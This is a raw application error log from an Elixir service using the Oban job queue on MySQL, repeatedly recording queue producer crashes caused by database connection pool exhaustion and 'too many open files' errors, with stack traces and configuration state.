State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:48:36.238591Z], limit: 3, uuid: "f0ffb148-60c8-4f08-9a59-2211ff5e71ab", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:48:36.238597Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.236645>, refresh_timer: #Reference<0.2525715032.1068236804.236577>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:48:48.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 866ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:48:36.240155Z], limit: 10, uuid: "2e9d1567-412e-42ca-b952-4edb8811d454", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:48:36.240161Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.236646>, refresh_timer: #Reference<0.2525715032.1121189889.94998>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:48:48.783000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:48:52.763000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:48:53.054000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:48:54.883000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:49:00.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1068ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:48:48.241991Z], limit: 10, uuid: "bf599c35-55d6-452d-bd04-ea1f3d4b1dce", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:48:48.241997Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.236938>, refresh_timer: #Reference<0.2525715032.1077411843.218910>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:49:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1037ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:48:48.239787Z], limit: 5, uuid: "813a3040-94cd-4f1e-b48a-3322e7e73e59", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:48:48.239792Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.236934>, refresh_timer: #Reference<0.2525715032.1068236804.236912>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:49:00.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 813ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:48:48.240483Z], limit: 50, uuid: "28ddd1d6-62aa-4585-aad9-31f9b501bd1c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:48:48.240488Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.236937>, refresh_timer: #Reference<0.2525715032.1099169794.244609>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:49:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 817ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:48:48.239663Z], limit: 5, uuid: "230c22af-f2fd-47a4-90fe-7089ebe0fa6b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:48:48.239672Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.236936>, refresh_timer: #Reference<0.2525715032.1121189889.95112>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:49:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 832ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:48:48.239974Z], limit: 3, uuid: "09667b06-0ffc-4348-8076-6281d2606134", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:48:48.239980Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.236935>, refresh_timer: #Reference<0.2525715032.1068236804.236917>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:49:00.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1017ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:48:48.239670Z], limit: 20, uuid: "92659b51-e8d4-4702-bd4c-c0494a63c2e3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:48:48.239676Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.244618>, refresh_timer: #Reference<0.2525715032.1099169794.244602>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:49:01.374000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:49:03.948000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:49:05.188000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:49:06.924000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:49:07.290000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:49:08.217000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:49:08.793000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:49:13.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1015ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:49:00.240269Z], limit: 10, uuid: "4be3ee99-489f-43ef-a42d-6192e98bebd3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:49:00.240274Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.237215>, refresh_timer: #Reference<0.2525715032.1068236804.237192>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:49:13.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1073ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

